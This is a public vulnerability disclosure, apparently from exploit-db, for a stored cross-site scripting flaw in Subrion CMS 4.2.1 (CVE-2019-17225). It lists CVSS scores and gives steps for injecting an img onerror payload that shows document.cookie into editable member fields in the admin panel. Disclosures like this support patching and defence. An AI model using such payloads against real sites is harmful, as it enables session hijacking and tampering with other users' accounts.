Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting

2019-10-0700:00:00

Creatigon

www.exploit-db.com

280

CVSS2

3.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

CVSS3

5.4

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

AI Score

5.8

Confidence

High

EPSS

0.001

Percentile

36.5%

JSON

# Title: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting
# Date: 2019-10-07
# Author: Min Ko Ko (Creatigon)
# Vendor Homepage: https://subrion.org/
# CVE : https://nvd.nist.gov/vuln/detail/CVE-2019-17225
# Website : https://l33thacker.com
# Description :  Allows XSS via the panel/members/ Username, Full Name, or
# Email field, aka an "Admin Member JSON Update" issue.

First login the panel with user credential, Go to member tag from left menu.

http://localhost/panel/members/

Username, Full Name, Email are editable with double click on it. Insert the
following payload

<img src=x onerror=alert(document.cookie)>